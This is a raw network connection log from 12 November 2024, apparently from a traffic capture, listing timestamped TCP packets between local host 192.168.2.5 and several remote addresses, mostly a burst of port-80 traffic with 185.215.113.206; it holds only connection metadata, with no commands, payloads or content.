Nov 12, 2024 08:30:38.786075115 CET	57080	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:38.786091089 CET	443	57080	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:38.802016973 CET	57078	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:38.830375910 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.830420971 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.830638885 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.831659079 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.831674099 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.874135017 CET	443	57082	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.875159979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875171900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875224113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875250101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.875250101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.875269890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875277042 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.875279903 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875325918 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.875675917 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875686884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875696898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875709057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875720024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875740051 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.875740051 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.875763893 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.875924110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875935078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875946999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875957012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.875962019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.875984907 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876003981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876152992 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876163960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876173973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876185894 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876218081 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876234055 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876306057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876388073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876399040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876463890 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876490116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876501083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876513004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876545906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876562119 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876714945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876724958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876734018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876740932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876751900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876758099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876761913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876773119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876785040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876791000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876795053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876805067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876806974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876823902 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876823902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876836061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.876853943 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876853943 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.876892090 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.877150059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.877159119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.877167940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.877180099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.877191067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.877202034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.877208948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.877208948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.877245903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.877825975 CET	57082	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.877842903 CET	443	57082	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.878209114 CET	443	57082	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.878599882 CET	443	57081	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.879132986 CET	57082	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.879211903 CET	443	57082	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.879390955 CET	57082	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.879508018 CET	57082	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.879549980 CET	443	57082	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.879738092 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.879769087 CET	443	57081	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.880848885 CET	443	57081	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.880924940 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.881306887 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.881377935 CET	443	57081	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.881567955 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.881573915 CET	443	57081	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.881603003 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.881638050 CET	443	57081	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:38.904079914 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:38.904104948 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:38.904112101 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:38.904148102 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:38.904174089 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:38.904201984 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:38.904222965 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:38.910670042 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:38.910682917 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:38.910815954 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:38.910820961 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:38.910852909 CET	443	49886	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:38.910912991 CET	49886	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:38.991406918 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:38.991446972 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:38.991507053 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:38.992017031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992079973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992090940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992149115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992155075 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992156029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992237091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992257118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992264986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992315054 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992315054 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992331028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992343903 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992358923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992386103 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992419958 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992611885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992624044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992635965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992655993 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992666006 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992666006 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992667913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992681026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992693901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992696047 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992727041 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992753029 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992896080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992908955 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992921114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992932081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992944956 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992954016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.992968082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992968082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.992999077 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993158102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993170023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993184090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993201017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993207932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993207932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993212938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993223906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993228912 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993257999 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993287086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993554115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993566990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993578911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993590117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993602037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993613958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993643045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993643045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993658066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993822098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993833065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993844986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993855953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993866920 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993866920 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993868113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993880033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993885040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993916988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993920088 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993930101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993941069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993952036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993952990 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993961096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993973970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993985891 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993985891 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.993988037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.993997097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994009972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994014025 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994046926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994046926 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994364023 CET	57081	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:38.994604111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994615078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994626045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994641066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994652033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994663000 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994663000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994677067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994712114 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994728088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994740963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994751930 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994765997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994779110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994790077 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994798899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994798899 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994801998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994807959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994812965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994816065 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994820118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994832039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994843006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994858980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:38.994870901 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994870901 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:38.994915962 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.012038946 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.012073994 CET	443	57091	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.012140989 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.012680054 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.012692928 CET	443	57091	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.012816906 CET	57090	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:39.012834072 CET	443	57090	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:39.047956944 CET	443	57083	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:39.050477028 CET	443	57084	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.058859110 CET	57083	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:39.058892965 CET	443	57083	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:39.059298992 CET	443	57083	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:39.059663057 CET	57083	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:39.059746027 CET	443	57083	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:39.059942961 CET	57083	443	192.168.2.5	20.125.209.212
Nov 12, 2024 08:30:39.060409069 CET	57084	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.060434103 CET	443	57084	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.060923100 CET	57084	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.060930967 CET	443	57084	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.064229965 CET	443	57085	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.064558029 CET	57085	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.064593077 CET	443	57085	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.064939976 CET	57085	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.064945936 CET	443	57085	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.093946934 CET	57092	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:39.093988895 CET	443	57092	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:39.094063044 CET	57092	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:39.094294071 CET	57092	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:39.094307899 CET	443	57092	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:39.107333899 CET	443	57083	20.125.209.212	192.168.2.5
Nov 12, 2024 08:30:39.109273911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109297991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109311104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109355927 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.109425068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109441042 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109453917 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109468937 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.109488010 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.109549999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109621048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109625101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.109633923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109671116 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.109671116 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.109715939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109730005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109743118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109756947 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109761000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.109775066 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.109807014 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.109901905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109915018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109926939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.109945059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.109997988 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110022068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110032082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110088110 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110162973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110179901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110192060 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110203981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110218048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110227108 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110230923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110254049 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110277891 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110359907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110373020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110430956 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110524893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110536098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110548973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110563040 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110564947 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110574961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110579967 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110588074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110601902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110608101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110613108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110615015 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110625982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.110646963 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110666037 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.110996962 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111007929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111020088 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111031055 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111042976 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111047983 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111052990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111064911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111064911 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111078978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111090899 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111093998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111094952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111104012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111116886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111129045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111129999 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111140013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111150980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111160994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111186981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111186981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111430883 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111449957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111464977 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111480951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.111488104 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111488104 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111502886 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111524105 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.111711025 CET	80	49809	185.215.113.206	192.168.2.5
